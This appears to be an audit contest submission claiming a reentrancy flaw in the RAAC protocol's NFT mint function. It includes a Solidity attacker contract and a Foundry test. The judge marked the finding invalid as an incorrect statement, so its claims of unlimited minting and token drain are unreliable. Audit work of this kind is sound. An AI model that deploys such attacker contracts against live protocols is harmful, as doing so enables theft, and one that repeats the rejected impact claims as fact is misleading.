Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

re-entrancy risk in `mint` function in RAACNFT.sol

Summary

The RAACNFT.sol contract contains a critical reentrancy vulnerability in its mint function that allows attackers to bypass intended minting limits and exploit the refund mechanism. This is caused from using _safeMint without proper reentrancy protection, combined with a token refund mechanism that occurs after the mint. This creates a scenario where an attacker can recursively mint multiple NFTs in a single transaction through the onERC721Received callback, effectively bypassing any rate limiting or supply controls while also manipulating refund amounts.

The vulnerability is particularly severe because:

  • It breaks the core NFT minting and pricing mechanism

  • Allows unlimited minting in a single transaction

Manipulates the protocol's token economics through refund exploitation

  • Creates an imbalance in the lending protocol where these NFTs are used as collateral

Vulnerability Details

The vulnerability exists in the mint function: https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/tokens/RAACNFT.sol#L32

function mint(uint256 _tokenId, uint256 _amount) public override {
uint256 price = raac_hp.tokenToHousePrice(_tokenId);
if(price == 0) { revert RAACNFT__HousePrice(); }
if(price > _amount) { revert RAACNFT__InsufficientFundsMint(); }
// transfer erc20 from user to contract - requires pre-approval from user
token.safeTransferFrom(msg.sender, address(this), _amount);
// mint tokenId to user
_safeMint(msg.sender, _tokenId); // Vulnerable point
// If user approved more than necessary, refund the difference
if (_amount > price) {
uint256 refundAmount = _amount - price;
token.safeTransfer(msg.sender, refundAmount); // Refund after mint
}
}

The attack flow:

  • Attacker creates a malicious contract implementing onERC721Received

. * Attacker calls mint with excess amount to trigger refund

  • During _safeMint, the onERC721Received callback is triggered.

  • Inside callback, attacker recursively calls mint again

  • Process repeats until attacker has desired number of NFTs

Proof of code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../../../../contracts/core/tokens/RAACNFT.sol";
import "../../../../contracts/core/primitives/RAACHousePrices.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockERC20 is ERC20 {
constructor() ERC20("Mock Token", "MOCK") {
_mint(msg.sender, 1000000 ether);
}
}
contract AttackerContract {
RAACNFT public nft;
MockERC20 public token;
uint256 public currentTokenId;
uint256 public attackCount;
uint256 public maxAttacks = 3;
uint256 public constant AMOUNT_PER_MINT = 150 ether;
uint256 public constant NFT_PRICE = 100 ether;
constructor(address _nft, address _token) {
nft = RAACNFT(_nft);
token = MockERC20(_token);
}
function startAttack(uint256 _tokenId) external {
currentTokenId = _tokenId;
// Approve for all potential mints
token.approve(address(nft), type(uint256).max);
// Overpay to get refund
nft.mint(_tokenId, AMOUNT_PER_MINT);
}
function onERC721Received(
address,
address,
uint256,
bytes memory
) external returns (bytes4) {
attackCount++;
// First do all the mints through reentrancy
if (attackCount < maxAttacks) {
currentTokenId++;
// Overpay each mint to get refunds later
nft.mint(currentTokenId, AMOUNT_PER_MINT);
}
return this.onERC721Received.selector;
}
}
contract RAACNFTTest is Test {
RAACNFT public nft;
MockERC20 public token;
RAACHousePrices public priceOracle;
AttackerContract public attacker;
address owner = address(1);
address oracle = address(2);
uint256 constant NFT_PRICE = 100 ether;
function setUp() public {
// Deploy mock token
token = new MockERC20();
vm.startPrank(owner);
// Deploy and setup price oracle
priceOracle = new RAACHousePrices(owner);
priceOracle.setOracle(oracle);
// Deploy NFT contract
nft = new RAACNFT(address(token), address(priceOracle), owner);
vm.stopPrank();
// Deploy attacker contract
attacker = new AttackerContract(address(nft), address(token));
// Set prices for multiple tokenIds
vm.startPrank(oracle);
for(uint256 i = 1; i <= 4; i++) {
priceOracle.setHousePrice(i, 100 ether);
}
vm.stopPrank();
// Fund attacker contract
deal(address(token), address(attacker), 1000 ether);
}
function testReentrancyAttack() public {
uint256 initialBalance = token.balanceOf(address(attacker));
attacker.startAttack(1);
// Verify we got multiple NFTs through reentrancy
assertEq(attacker.attackCount(), 3, "Should have performed 3 reentrant mints");
// Verify attacker owns all 3 NFTs minted through reentrancy
assertTrue(nft.ownerOf(1) == address(attacker), "Should own NFT 1");
assertTrue(nft.ownerOf(2) == address(attacker), "Should own NFT 2");
assertTrue(nft.ownerOf(3) == address(attacker), "Should own NFT 3");
// Verify total NFTs owned
assertEq(nft.balanceOf(address(attacker)), 3, "Should own exactly 3 NFTs");
// Verify refunds were processed
uint256 finalBalance = token.balanceOf(address(attacker));
uint256 totalPaid = 3 * attacker.AMOUNT_PER_MINT(); // Access through contract
uint256 totalRefunds = 3 * 50 ether;
assertEq(
finalBalance,
initialBalance - totalPaid + totalRefunds,
"Should have correct balance after refunds"
);
}
}

Impact

Economic Impact:

  • Unlimited NFT minting in single transaction

  • Multiple refund claims

  • Token drain through refund manipulation

  • Artificial inflation of NFT supply

Protocol Security:

  • Bypass of minting limits

  • Circumvention of price controls

  • Breaking of NFT uniqueness guarantees

  • Manipulation of lending collateral values

System Integrity:

  • Broken NFT supply controls

  • Compromised price oracle relationship

  • Undermined lending protocol security

  • Loss of NFT scarcity value

Lending Protocol Risks:

  • Over-collateralization with exploited NFTs

  • Artificial inflation of borrowing power

  • Potential for mass liquidations

  • System-wide economic imbalance

Tools Used

Recommendations

Implement ReentrancyGuard

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.